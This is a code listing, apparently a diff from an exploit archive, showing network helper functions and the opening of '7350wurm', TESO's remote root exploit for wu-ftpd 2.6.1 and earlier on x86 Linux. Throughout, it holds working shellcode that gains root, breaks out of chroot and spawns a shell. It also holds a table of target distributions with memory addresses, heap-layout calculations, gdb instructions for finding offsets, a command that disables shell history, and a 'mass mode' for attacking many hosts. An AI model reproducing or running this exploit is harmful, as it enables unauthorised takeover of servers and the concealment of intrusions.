| 997 | int fd; | ||
| 998 | struct timeval tv; | ||
| 999 | fd_set rset, wset; | ||
| 1000 | struct sockaddr_in csa; | ||
| 1001 | |||
| 1002 | if (cs == NULL) | ||
| 1003 | cs = &csa; | ||
| 1004 | |||
| 1005 | /* first allocate a socket */ | ||
| 1006 | cs->sin_family = AF_INET; | ||
| 1007 | cs->sin_port = htons (port); | ||
| 1008 | fd = socket (cs->sin_family, SOCK_STREAM, 0); | ||
| 1009 | if (fd == -1) | ||
| 1010 | return (-1); | ||
| 1011 | |||
| 1012 | if (!(cs->sin_addr.s_addr = net_resolve (server))) { | ||
| 1013 | close (fd); | ||
| 1014 | return (-1); | ||
| 1015 | } | ||
| 1016 | |||
| 1017 | flags = fcntl (fd, F_GETFL, 0); | ||
| 1018 | if (flags == -1) { | ||
| 1019 | close (fd); | ||
| 1020 | return (-1); | ||
| 1021 | } | ||
| 1022 | n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); | ||
| 1023 | if (n == -1) { | ||
| 1024 | close (fd); | ||
| 1025 | return (-1); | ||
| 1026 | } | ||
| 1027 | |||
| 1028 | error = 0; | ||
| 1029 | |||
| 1030 | n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); | ||
| 1031 | if (n < 0) { | ||
| 1032 | if (errno != EINPROGRESS) { | ||
| 1033 | close (fd); | ||
| 1034 | return (-1); | ||
| 1035 | } | ||
| 1036 | } | ||
| 1037 | if (n == 0) | ||
| 1038 | goto done; | ||
| 1039 | |||
| 1040 | FD_ZERO(&rset); | ||
| 1041 | FD_ZERO(&wset); | ||
| 1042 | FD_SET(fd, &rset); | ||
| 1043 | FD_SET(fd, &wset); | ||
| 1044 | tv.tv_sec = sec; | ||
| 1045 | tv.tv_usec = 0; | ||
| 1046 | |||
| 1047 | n = select(fd + 1, &rset, &wset, NULL, &tv); | ||
| 1048 | if (n == 0) { | ||
| 1049 | close(fd); | ||
| 1050 | errno = ETIMEDOUT; | ||
| 1051 | return (-1); | ||
| 1052 | } | ||
| 1053 | if (n == -1) | ||
| 1054 | return (-1); | ||
| 1055 | |||
| 1056 | if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { | ||
| 1057 | if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { | ||
| 1058 | len = sizeof(error); | ||
| 1059 | if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { | ||
| 1060 | errno = ETIMEDOUT; | ||
| 1061 | return (-1); | ||
| 1062 | } | ||
| 1063 | if (error == 0) { | ||
| 1064 | goto done; | ||
| 1065 | } else { | ||
| 1066 | errno = error; | ||
| 1067 | return (-1); | ||
| 1068 | } | ||
| 1069 | } | ||
| 1070 | } else | ||
| 1071 | return (-1); | ||
| 1072 | |||
| 1073 | done: | ||
| 1074 | n = fcntl(fd, F_SETFL, flags); | ||
| 1075 | if (n == -1) | ||
| 1076 | return (-1); | ||
| 1077 | return (fd); | ||
| 1078 | } | ||
| 1079 | |||
| 1080 | |||
| 1081 | void | ||
| 1082 | net_write (int fd, const char *str, ...) | ||
| 1083 | { | ||
| 1084 | char tmp[1025]; | ||
| 1085 | va_list vl; | ||
| 1086 | int i; | ||
| 1087 | |||
| 1088 | va_start(vl, str); | ||
| 1089 | memset(tmp, 0, sizeof(tmp)); | ||
| 1090 | i = vsnprintf(tmp, sizeof(tmp), str, vl); | ||
| 1091 | va_end(vl); | ||
| 1092 | |||
| 1093 | #ifdef DEBUG | ||
| 1094 | printf ("[snd] %s%s", tmp, (tmp[strlen (tmp) - 1] == '\n') ? "" : "\n"); | ||
| 1095 | #endif | ||
| 1096 | |||
| 1097 | send(fd, tmp, i, 0); | ||
| 1098 | return; | ||
| 1099 | } | ||
| 1100 | |||
| 1101 | |||
| 1102 | int | ||
| 1103 | net_rlinet (int fd, char *buf, int bufsize, int sec) | ||
| 1104 | { | ||
| 1105 | int n; | ||
| 1106 | unsigned long int rb = 0; | ||
| 1107 | struct timeval tv_start, tv_cur; | ||
| 1108 | |||
| 1109 | memset(buf, '\0', bufsize); | ||
| 1110 | (void) gettimeofday(&tv_start, NULL); | ||
| 1111 | |||
| 1112 | do { | ||
| 1113 | (void) gettimeofday(&tv_cur, NULL); | ||
| 1114 | if (sec > 0) { | ||
| 1115 | if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) - | ||
| 1116 | ((tv_start.tv_sec * 1000000) + | ||
| 1117 | (tv_start.tv_usec))) > (sec * 1000000)) | ||
| 1118 | { | ||
| 1119 | return (-1); | ||
| 1120 | } | ||
| 1121 | } | ||
| 1122 | n = net_rtimeout(fd, NET_READTIMEOUT); | ||
| 1123 | if (n <= 0) { | ||
| 1124 | return (-1); | ||
| 1125 | } | ||
| 1126 | n = read(fd, buf, 1); | ||
| 1127 | if (n <= 0) { | ||
| 1128 | return (n); | ||
| 1129 | } | ||
| 1130 | rb++; | ||
| 1131 | if (*buf == '\n') | ||
| 1132 | return (rb); | ||
| 1133 | buf++; | ||
| 1134 | if (rb >= bufsize) | ||
| 1135 | return (-2); /* buffer full */ | ||
| 1136 | } while (1); | ||
| 1137 | } | ||
| 1138 | |||
| 1139 | |||
| 1140 | int | ||
| 1141 | net_rtimeout (int fd, int sec) | ||
| 1142 | { | ||
| 1143 | fd_set rset; | ||
| 1144 | struct timeval tv; | ||
| 1145 | int n, error, flags; | ||
| 1146 | |||
| 1147 | |||
| 1148 | error = 0; | ||
| 1149 | flags = fcntl(fd, F_GETFL, 0); | ||
| 1150 | n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); | ||
| 1151 | if (n == -1) | ||
| 1152 | return (-1); | ||
| 1153 | |||
| 1154 | FD_ZERO(&rset); | ||
| 1155 | FD_SET(fd, &rset); | ||
| 1156 | tv.tv_sec = sec; | ||
| 1157 | tv.tv_usec = 0; | ||
| 1158 | |||
| 1159 | /* now we wait until more data is received then the tcp low level | ||
| 1160 | * watermark, which should be setted to 1 in this case (1 is default) | ||
| 1161 | */ | ||
| 1162 | n = select(fd + 1, &rset, NULL, NULL, &tv); | ||
| 1163 | if (n == 0) { | ||
| 1164 | n = fcntl(fd, F_SETFL, flags); | ||
| 1165 | if (n == -1) | ||
| 1166 | return (-1); | ||
| 1167 | errno = ETIMEDOUT; | ||
| 1168 | return (-1); | ||
| 1169 | } | ||
| 1170 | if (n == -1) { | ||
| 1171 | return (-1); | ||
| 1172 | } | ||
| 1173 | /* socket readable ? */ | ||
| 1174 | if (FD_ISSET(fd, &rset)) { | ||
| 1175 | n = fcntl(fd, F_SETFL, flags); | ||
| 1176 | if (n == -1) | ||
| 1177 | return (-1); | ||
| 1178 | return (1); | ||
| 1179 | } else { | ||
| 1180 | n = fcntl(fd, F_SETFL, flags); | ||
| 1181 | if (n == -1) | ||
| 1182 | return (-1); | ||
| 1183 | errno = ETIMEDOUT; | ||
| 1184 | return (-1); | ||
| 1185 | } | ||
| 1186 | } | ||
| 1187 | |||
| 1188 | |||
| 1189 | static int | ||
| 1190 | sc_build_x86_lnx (unsigned char *target, size_t target_len, | ||
| 1191 | unsigned char *shellcode, char **argv) | ||
| 1192 | { | ||
| 1193 | int i; | ||
| 1194 | size_t tl_orig = target_len; | ||
| 1195 | |||
| 1196 | |||
| 1197 | if (strlen (shellcode) >= (target_len - 1)) | ||
| 1198 | return (-1); | ||
| 1199 | |||
| 1200 | memcpy (target, shellcode, strlen (shellcode)); | ||
| 1201 | target += strlen (shellcode); | ||
| 1202 | target_len -= strlen (shellcode); | ||
| 1203 | |||
| 1204 | for (i = 0 ; argv[i] != NULL ; ++i) | ||
| 1205 | ; | ||
| 1206 | |||
| 1207 | /* set argument count | ||
| 1208 | */ | ||
| 1209 | target[0] = (unsigned char) i; | ||
| 1210 | target++; | ||
| 1211 | target_len--; | ||
| 1212 | |||
| 1213 | for ( ; i > 0 ; ) { | ||
| 1214 | i -= 1; | ||
| 1215 | |||
| 1216 | if (strlen (argv[i]) >= target_len) | ||
| 1217 | return (-1); | ||
| 1218 | |||
| 1219 | printf ("[%3d/%3d] adding (%2d): %s\n", | ||
| 1220 | (tl_orig - target_len), tl_orig, | ||
| 1221 | strlen (argv[i]), argv[i]); | ||
| 1222 | |||
| 1223 | memcpy (target, argv[i], strlen (argv[i])); | ||
| 1224 | target += strlen (argv[i]); | ||
| 1225 | target_len -= strlen (argv[i]); | ||
| 1226 | |||
| 1227 | target[0] = (unsigned char) (i + 1); | ||
| 1228 | target++; | ||
| 1229 | target_len -= 1; | ||
| 1230 | } | ||
| 1231 | |||
| 1232 | return (tl_orig - target_len); | ||
| 1233 | } | ||
| 1234 | |||
| 1235 | |||
diff --git a/exploits/7350wurm/7350wurm-backup4.c b/exploits/7350wurm/7350wurm-backup4.c new file mode 100644 index 0000000..528a58d --- /dev/null +++ b/exploits/7350wurm/7350wurm-backup4.c | |||
| @@ -0,0 +1,1217 @@ | |||
| 1 | /* 7350wurm - x86/linux wu-ftpd remote root exploit | ||
| 2 | * | ||
| 3 | * TESO CONFIDENTIAL - SOURCE MATERIALS | ||
| 4 | * | ||
| 5 | * This is unpublished proprietary source code of TESO Security. | ||
| 6 | * | ||
| 7 | * The contents of these coded instructions, statements and computer | ||
| 8 | * programs may not be disclosed to third parties, copied or duplicated in | ||
| 9 | * any form, in whole or in part, without the prior written permission of | ||
| 10 | * TESO Security. This includes especially the Bugtraq mailing list, the | ||
| 11 | * www.hack.co.za website and any public exploit archive. | ||
| 12 | * | ||
| 13 | * The distribution restrictions cover the entire file, including this | ||
| 14 | * header notice. (This means, you are not allowed to reproduce the header). | ||
| 15 | * | ||
| 16 | * (C) COPYRIGHT TESO Security, 2001 | ||
| 17 | * All Rights Reserved | ||
| 18 | * | ||
| 19 | ***************************************************************************** | ||
| 20 | * thanks to bnuts, tomas, dvorak, scrippie and max for hints, discussions and | ||
| 21 | * ideas (synnergy.net rocks, thank you buddies ! :). | ||
| 22 | */ | ||
| 23 | |||
| 24 | #define VERSION "0.1.2" | ||
| 25 | |||
| 26 | #include <sys/types.h> | ||
| 27 | #include <sys/time.h> | ||
| 28 | #include <sys/socket.h> | ||
| 29 | #include <netinet/in.h> | ||
| 30 | #include <arpa/inet.h> | ||
| 31 | #include <arpa/telnet.h> | ||
| 32 | #include <netdb.h> | ||
| 33 | #include <errno.h> | ||
| 34 | #include <fcntl.h> | ||
| 35 | #include <unistd.h> | ||
| 36 | #include <stdio.h> | ||
| 37 | #include <stdlib.h> | ||
| 38 | #include <stdarg.h> | ||
| 39 | #include <string.h> | ||
| 40 | #include <time.h> | ||
| 41 | |||
| 42 | |||
| 43 | #define INIT_CMD "unset HISTFILE;id;uname -a;\n" | ||
| 44 | |||
| 45 | /* shellcodes | ||
| 46 | */ | ||
| 47 | unsigned char x86_lnx_loop[] = | ||
| 48 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 49 | "\xeb\xfe"; | ||
| 50 | |||
| 51 | /* x86/linux write/read/exec code (41 bytes) | ||
| 52 | * does: 1. write (1, "\nsP\n", 4); | ||
| 53 | * 2. read (0, ncode, 0xff); | ||
| 54 | * 3. jmp ncode | ||
| 55 | */ | ||
| 56 | unsigned char x86_wrx[] = | ||
| 57 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 58 | |||
| 59 | "\x31\xdb\x43\xb8\x0b\x74\x51\x0b\x2d\x01\x01\x01" | ||
| 60 | "\x01\x50\x89\xe1\x6a\x04\x58\x89\xc2\xcd\x80\xeb" | ||
| 61 | "\x0e\x31\xdb\xf7\xe3\xfe\xca\x59\x6a\x03\x58\xcd" | ||
| 62 | "\x80\xeb\x05\xe8\xed\xff\xff\xff"; | ||
| 63 | |||
| 64 | |||
| 65 | unsigned char x86_lnx_execve[] = | ||
| 66 | /* 49 byte x86 linux PIC setreuid(0,0) + chroot-break | ||
| 67 | * code by lorian / teso | ||
| 68 | */ | ||
| 69 | "\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54" | ||
| 70 | "\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80" | ||
| 71 | "\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b" | ||
| 72 | "\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd" | ||
| 73 | "\x80" | ||
| 74 | |||
| 75 | /* 33 byte x86/linux PIC argv -sc | ||
| 76 | */ | ||
| 77 | "\xeb\x1c\x5f\x31\xc0\x50\x8a\x07\x47\x57\xae\x75" | ||
| 78 | "\xfd\x88\x67\xff\x48\x75\xf6\x5b\x53\x50\x5a\x89" | ||
| 79 | // "\xe1\xb0\x0b\xcd\x80\xe8\xdf\xff\xff\xff"; | ||
| 80 | /*FIXME*/"\xe1\xb0\x0b\xcc\xcd\x80\xe8\xdf\xff\xff\xff"; | ||
| 81 | // ^^ debug trap | ||
| 82 | |||
| 83 | |||
| 84 | /* setreuid/chroot/execve | ||
| 85 | * lorian / teso */ | ||
| 86 | unsigned char x86_lnx_shell[] = | ||
| 87 | /* TODO: fix chroot break on 2.4.x series (somewhere between 2.4.6 and | ||
| 88 | * 2.4.13 they changed chroot behaviour. maybe to ptrace-inject | ||
| 89 | * on parent process (inetd) and execute code there. (optional) | ||
| 90 | */ | ||
| 91 | "\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54" | ||
| 92 | "\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80" | ||
| 93 | "\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b" | ||
| 94 | "\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd" | ||
| 95 | "\x80" | ||
| 96 | "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f" | ||
| 97 | "\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"; | ||
| 98 | |||
| 99 | /* HOWTO get the offsets: | ||
| 100 | |||
| 101 | retloc: objdump -R /usr/sbin/in.ftpd | grep free | ||
| 102 | |||
| 103 | set retaddr to 0x41414141 and run the exploit: | ||
| 104 | $ ./7 -t <yourtype> -D -v | ||
| 105 | |||
| 106 | Now when it asks for enter, just press it, but as it asks the second | ||
| 107 | time, attach GDB to the wuftpd process. Continue it, and press enter | ||
| 108 | in the exploit. Wuftpd will segfault. | ||
| 109 | |||
| 110 | Do: | ||
| 111 | (gdb) x/10wx $esp | ||
| 112 | |||
| 113 | It will show some parameters to free, the first parameter of the form | ||
| 114 | 0x08...... is interesting: | ||
| 115 | |||
| 116 | (gdb) x/64wx 0x08...... | ||
| 117 | |||
| 118 | Should show a block of 0x0ceb0ceb's in memory. Just choose such a place | ||
| 119 | as retloc and there you are. | ||
| 120 | */ | ||
| 121 | |||
| 122 | typedef struct { | ||
| 123 | char * desc; /* distribution */ | ||
| 124 | char * banner; /* ftp banner part */ | ||
| 125 | unsigned char * shellcode; | ||
| 126 | unsigned int shellcode_len; | ||
| 127 | |||
| 128 | unsigned long int retloc; /* return address location */ | ||
| 129 | unsigned long int retaddr; /* return address */ | ||
| 130 | } tgt_type; | ||
| 131 | |||
| 132 | |||
| 133 | tgt_type tmanual = { | ||
| 134 | "manual values", | ||
| 135 | "unknown banner", | ||
| 136 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 137 | 0x41414141, 0x42424242 | ||
| 138 | }; | ||
| 139 | |||
| 140 | tgt_type targets[] = { | ||
| 141 | { "Debian sid [wu-ftpd_2.6.1-5_i386.deb]", | ||
| 142 | "Version wu-2.6.1(1) Sat Feb 24 01:43:53 GMT 2001", | ||
| 143 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 144 | // 0x0806e7a0, 0x08094018 }, | ||
| 145 | 0x0806e7a0, 0x0806cfa0 + 320 + 1}, | ||
| 146 | |||
| 147 | { "Immunix 6.2 (Cartman) [wu-ftpd-2.6.0-3_StackGuard.rpm]", | ||
| 148 | "Version wu-2.6.0(1) Thu May 25 03:35:34 PDT 2000", | ||
| 149 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 150 | 0x080713e0, 0x08093c40 }, | ||
| 151 | |||
| 152 | { "Immunix 7.0 (Stolichnaya) [wu-ftpd-2.6.1-6_imnx_2.rpm]", | ||
| 153 | "Version wu-2.6.1(1) Mon Jan 29 08:04:31 PST 2001", | ||
| 154 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 155 | 0x08072bd4, 0x080976e0}, | ||
| 156 | |||
| 157 | { "RedHat 5.2 (Apollo) [wu-ftpd-2.4.2b18-2.rpm]", | ||
| 158 | "Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998", | ||
| 159 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 160 | 0x08061c48, 0x0806c948 }, | ||
| 161 | |||
| 162 | /* TODO: check, does not segfault ! | ||
| 163 | { "RedHat 6.0 (Hedwig) [wu-ftpd-2.4.2vr17-3.rpm]", | ||
| 164 | "Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999", | ||
| 165 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 166 | 0x08069f04, 0x41414141 }, | ||
| 167 | */ | ||
| 168 | |||
| 169 | { "RedHat 6.1 (Cartman) [wu-ftpd-2.5.0-9.rpm]", | ||
| 170 | "Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999", | ||
| 171 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 172 | 0x0806cb88, 0x08089848 }, | ||
| 173 | |||
| 174 | { "RedHat 7.1 (Seawolf) [wu-ftpd-2.6.1-16.rpm]", | ||
| 175 | "Version wu-2.6.1-16(1)", | ||
| 176 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 177 | 0x0807314c, 0x08098e40 }, | ||
| 178 | |||
| 179 | /* slackware (from 8 on they use proftpd by default) */ | ||
| 180 | { "Slackware 7", | ||
| 181 | "Version wu-2.6.0(1) Fri Oct 22 00:38:20 CDT 1999", | ||
| 182 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 183 | 0x0806d03c, 0x0808f648 }, | ||
| 184 | |||
| 185 | { "Slackware 7.1", | ||
| 186 | "Version wu-2.6.0(1) Tue Jun 27 10:52:28 PDT 2000", | ||
| 187 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 188 | 0x0806ba2c, 0x08088e48 }, | ||
| 189 | |||
| 190 | { NULL, NULL, 0, 0, 0, 0 }, | ||
| 191 | }; | ||
| 192 | |||
| 193 | /* exploitation related stuff. | ||
| 194 | * DO NOT CHANGE, except you know exactly what you are doing. | ||
| 195 | */ | ||
| 196 | #define CHUNK_POS 192 | ||
| 197 | |||
| 198 | #define MALLOC_ALIGN_MASK 0x07 | ||
| 199 | #define MALLOC_MINSIZE 0x10 | ||
| 200 | #define CHUNK_ROUND(s) \ | ||
| 201 | (((((s) + 4 + MALLOC_ALIGN_MASK)) < \ | ||
| 202 | (MALLOC_MINSIZE + MALLOC_ALIGN_MASK)) ? \ | ||
| 203 | (MALLOC_MINSIZE) : ((((s) + 4 + MALLOC_ALIGN_MASK)) & ~MALLOC_ALIGN_MASK)) | ||
| 204 | |||
| 205 | /* minimum sized malloc(n) allocation that will jield in an overall | ||
| 206 | * chunk size of s. (s must be a valid %8=0 chunksize) | ||
| 207 | */ | ||
| 208 | #define CHUNK_ROUNDDOWN(s) \ | ||
| 209 | ((s) <= 0x8) ? (1) : ((s) - 0x04 - 11) | ||
| 210 | #define CHUNK_STRROUNDDOWN(s) \ | ||
| 211 | (CHUNK_ROUNDDOWN ((s)) > 1 ? CHUNK_ROUNDDOWN ((s)) - 1 : 1) | ||
| 212 | |||
| 213 | |||
| 214 | /* FTP related stuff | ||
| 215 | */ | ||
| 216 | char * dest = "127.0.0.1"; /* can be changed with -d */ | ||
| 217 | char * username = "ftp"; /* can be changed with -u */ | ||
| 218 | char * password = "mozilla@"; /* can be changed with -p */ | ||
| 219 | |||
| 220 | char * ftp_banner = NULL; | ||
| 221 | |||
| 222 | int verbose = 0; | ||
| 223 | |||
| 224 | |||
| 225 | /* FTP prototypes | ||
| 226 | */ | ||
| 227 | void ftp_escape (unsigned char *buf, unsigned long int buflen); | ||
| 228 | void ftp_recv_until (int sock, char *buff, int len, char *begin); | ||
| 229 | int ftp_login (char *host, char *user, char *pass); | ||
| 230 | |||
| 231 | |||
| 232 | /* main prototypes | ||
| 233 | */ | ||
| 234 | void usage (char *progname); | ||
| 235 | tgt_type * tgt_frombanner (unsigned char *banner); | ||
| 236 | void shell (int sock); | ||
| 237 | void hexdump (char *desc, unsigned char *data, unsigned int amount); | ||
| 238 | |||
| 239 | void xp_buildsize (int fd, unsigned char this_size_ls, unsigned long int csize); | ||
| 240 | void xp_gapfill (int fd, int rnfr_num, int rnfr_size); | ||
| 241 | int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len); | ||
| 242 | void xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen); | ||
| 243 | |||
| 244 | |||
| 245 | /*** MASS mode stuff | ||
| 246 | */ | ||
| 247 | static int | ||
| 248 | sc_build_x86_lnx (unsigned char *target, size_t target_len, | ||
| 249 | unsigned char *shellcode, char **argv); | ||
| 250 | |||
| 251 | int mass = 0; /* enable with -m (kids, get hurt!) */ | ||
| 252 | unsigned int mlen = 0; | ||
| 253 | unsigned char mcode[256]; | ||
| 254 | |||
| 255 | |||
| 256 | /* imported from network.c | ||
| 257 | */ | ||
| 258 | #define NET_CONNTIMEOUT 60 | ||
| 259 | #define NET_READTIMEOUT 20 | ||
| 260 | int net_conntimeout = NET_CONNTIMEOUT; | ||
| 261 | |||
| 262 | unsigned long int net_resolve (char *host); | ||
| 263 | int net_connect (struct sockaddr_in *cs, char *server, | ||
| 264 | unsigned short int port, int sec); | ||
| 265 | void net_write (int fd, const char *str, ...); | ||
| 266 | int net_rtimeout (int fd, int sec); | ||
| 267 | int net_rlinet (int fd, char *buf, int bufsize, int sec); | ||
| 268 | |||
| 269 | |||
| 270 | /* exploitation related stuff, which is fixed on all wuftpd systems | ||
| 271 | */ | ||
| 272 | #define RNFR_SIZE 4 | ||
| 273 | #define RNFR_NUM 73 | ||
| 274 | |||
| 275 | int automode = 0; /* evil, do not use */ | ||
| 276 | int debugmode = 0; | ||
| 277 | |||
| 278 | void | ||
| 279 | usage (char *progname) | ||
| 280 | { | ||
| 281 | fprintf (stderr, "usage: %s [-h] [-v] [-a] [-D] [-m]\n" | ||
| 282 | "\t[-t <num>] [-u <user>] [-p <pass>] [-d host]\n" | ||
| 283 | "\t[-L <retloc>] [-A <retaddr>]\n\n", progname); | ||
| 284 | |||
| 285 | fprintf (stderr, | ||
| 286 | "-h\tthis help\n" | ||
| 287 | "-v\tbe verbose (default: off, twice for greater effect)\n" | ||
| 288 | "-a\tAUTO mode (target from banner)\n" | ||
| 289 | "-D\tDEBUG mode (waits for keypresses)\n" | ||
| 290 | "-m\tenable mass mode (use with care)\n" | ||
| 291 | "-t num\tchoose target (0 for list, try -v or -v -v)\n" | ||
| 292 | "-u user\tusername to login to FTP (default: \"ftp\")\n" | ||
| 293 | "-p pass\tpassword to use (default: \"mozilla@\")\n" | ||
| 294 | "-d dest\tIP address or fqhn to connect to " | ||
| 295 | "(default: 127.0.0.1)\n" | ||
| 296 | "-L loc\toverride target-supplied retloc (format: 0xdeadbeef)\n" | ||
| 297 | "-A addr\toverride target-supplied retaddr (format: 0xcafebabe)\n"); | ||
| 298 | fprintf (stderr, "\n"); | ||
| 299 | |||
| 300 | exit (EXIT_FAILURE); | ||
| 301 | } | ||
| 302 | |||
| 303 | |||
| 304 | int | ||
| 305 | main (int argc, char *argv[]) | ||
| 306 | { | ||
| 307 | char c; | ||
| 308 | char * progname; /* = argv[0] */ | ||
| 309 | int fd; | ||
| 310 | |||
| 311 | tgt_type * tgt = NULL; | ||
| 312 | int tgt_num = -1; | ||
| 313 | unsigned long int user_retloc = 0, | ||
| 314 | user_retaddr = 0; | ||
| 315 | unsigned long int malign = 0; /* PWD alignment */ | ||
| 316 | |||
| 317 | unsigned char xpbuf[512 + 16]; | ||
| 318 | |||
| 319 | |||
| 320 | fprintf (stderr, "7350wurm - x86/linux wuftpd <= 2.6.1 remote root\n" | ||
| 321 | "team teso (thx bnuts, tomas, synnergy.net !).\n\n"); | ||
| 322 | |||
| 323 | progname = argv[0]; | ||
| 324 | if (argc < 2) | ||
| 325 | usage (progname); | ||
| 326 | |||
| 327 | |||
| 328 | while ((c = getopt (argc, argv, "M:hvaDmt:u:p:d:L:A:")) != EOF) { | ||
| 329 | switch (c) { | ||
| 330 | case 'M': | ||
| 331 | if (sscanf (optarg, "%lu", &malign) != 1) | ||
| 332 | usage (progname); | ||
| 333 | break; | ||
| 334 | case 'h': | ||
| 335 | usage (progname); | ||
| 336 | break; | ||
| 337 | case 'a': | ||
| 338 | automode = 1; | ||
| 339 | break; | ||
| 340 | case 'D': | ||
| 341 | debugmode = 1; | ||
| 342 | break; | ||
| 343 | case 'v': | ||
| 344 | verbose += 1; | ||
| 345 | break; | ||
| 346 | case 'm': | ||
| 347 | mass = 1; | ||
| 348 | break; | ||
| 349 | case 't': | ||
| 350 | if (sscanf (optarg, "%u", &tgt_num) != 1) | ||
| 351 | usage (progname); | ||
| 352 | break; | ||
| 353 | case 'u': | ||
| 354 | username = optarg; | ||
| 355 | printf ("username = %s\n", optarg); | ||
| 356 | break; | ||
| 357 | case 'p': | ||
| 358 | password = optarg; | ||
| 359 | break; | ||
| 360 | case 'd': | ||
| 361 | dest = optarg; | ||
| 362 | break; | ||
| 363 | case 'L': | ||
| 364 | if (sscanf (optarg, "0x%lx", &user_retloc) != 1) | ||
| 365 | usage (progname); | ||
| 366 | break; | ||
| 367 | case 'A': | ||
| 368 | if (sscanf (optarg, "0x%lx", &user_retaddr) != 1) | ||
| 369 | usage (progname); | ||
| 370 | break; | ||
| 371 | default: | ||
| 372 | usage (progname); | ||
| 373 | break; | ||
| 374 | } | ||
| 375 | } | ||
| 376 | |||
| 377 | /* if both required offsets are given manually, then we dont have | ||
| 378 | * to require a target selection. otherwise check whether the target | ||
| 379 | * is within the list. if its not, then print a list of available | ||
| 380 | * targets | ||
| 381 | */ | ||
| 382 | if (user_retloc != 0 && user_retaddr != 0) { | ||
| 383 | tgt = &tmanual; | ||
| 384 | } else if (automode == 0 && (tgt_num == 0 || | ||
| 385 | tgt_num >= (sizeof (targets) / sizeof (tgt_type)))) | ||
| 386 | { | ||
| 387 | if (tgt_num != 0) | ||
| 388 | printf ("WARNING: target out of list. giving list\n\n"); | ||
| 389 | tgt_num = 0; | ||
| 390 | |||
| 391 | printf ("num . description\n"); | ||
| 392 | printf ("----+-------------------------------------------------------\n"); | ||
| 393 | |||
| 394 | for ( ; targets[tgt_num].desc != NULL ; ++tgt_num) { | ||
| 395 | printf ("%3d | %s\n", tgt_num + 1, | ||
| 396 | targets[tgt_num].desc); | ||
| 397 | |||
| 398 | if (verbose) | ||
| 399 | printf (" : %s\n", targets[tgt_num].banner); | ||
| 400 | if (verbose >= 2) | ||
| 401 | printf (" : retloc: 0x%08lx " | ||
| 402 | "retaddr: 0x%08lx\n", | ||
| 403 | targets[tgt_num].retloc, | ||
| 404 | targets[tgt_num].retaddr); | ||
| 405 | } | ||
| 406 | |||
| 407 | printf (" '\n"); | ||
| 408 | |||
| 409 | exit (EXIT_SUCCESS); | ||
| 410 | } | ||
| 411 | if (tgt == NULL && automode == 0) | ||
| 412 | tgt = &targets[tgt_num - 1]; | ||
| 413 | |||
| 414 | if (mass == 1) { | ||
| 415 | if ((argc - optind) == 0) | ||
| 416 | usage (progname); | ||
| 417 | |||
| 418 | mlen = sc_build_x86_lnx (mcode, sizeof (mcode), | ||
| 419 | x86_lnx_execve, &argv[optind]); | ||
| 420 | |||
| 421 | if (mlen >= 0xff) { | ||
| 422 | fprintf (stderr, "created argv-code too long " | ||
| 423 | "(%d bytes)\n", mlen); | ||
| 424 | |||
| 425 | exit (EXIT_FAILURE); | ||
| 426 | } | ||
| 427 | |||
| 428 | fprintf (stderr, "# created %d byte execve shellcode\n", mlen); | ||
| 429 | } | ||
| 430 | |||
| 431 | |||
| 432 | printf ("# trying to log into %s with (%s/%s) ...", dest, | ||
| 433 | username, password); | ||
| 434 | fflush (stdout); | ||
| 435 | |||
| 436 | fd = ftp_login (dest, username, password); | ||
| 437 | if (fd <= 0) { | ||
| 438 | fprintf (stderr, "\nfailed to connect (user/pass correct?)\n"); | ||
| 439 | exit (EXIT_FAILURE); | ||
| 440 | } | ||
| 441 | printf (" connected.\n"); | ||
| 442 | |||
| 443 | if (debugmode) { | ||
| 444 | printf ("DEBUG: press enter\n"); | ||
| 445 | getchar (); | ||
| 446 | } | ||
| 447 | |||
| 448 | printf ("# banner: %s", (ftp_banner == NULL) ? "???" : | ||
| 449 | ftp_banner); | ||
| 450 | |||
| 451 | if (tgt == NULL && automode) { | ||
| 452 | tgt = tgt_frombanner (ftp_banner); | ||
| 453 | if (tgt == NULL) { | ||
| 454 | printf ("# failed to jield target from banner, aborting\n"); | ||
| 455 | |||
| 456 | exit (EXIT_FAILURE); | ||
| 457 | } | ||
| 458 | printf ("# successfully selected target from banner\n"); | ||
| 459 | } | ||
| 460 | |||
| 461 | |||
| 462 | if (user_retaddr != 0) { | ||
| 463 | fprintf (stderr, "# overriding target retaddr with: 0x%08lx\n", | ||
| 464 | user_retaddr); | ||
| 465 | |||
| 466 | tgt->retaddr = user_retaddr; | ||
| 467 | } | ||
| 468 | |||
| 469 | if (user_retloc != 0) { | ||
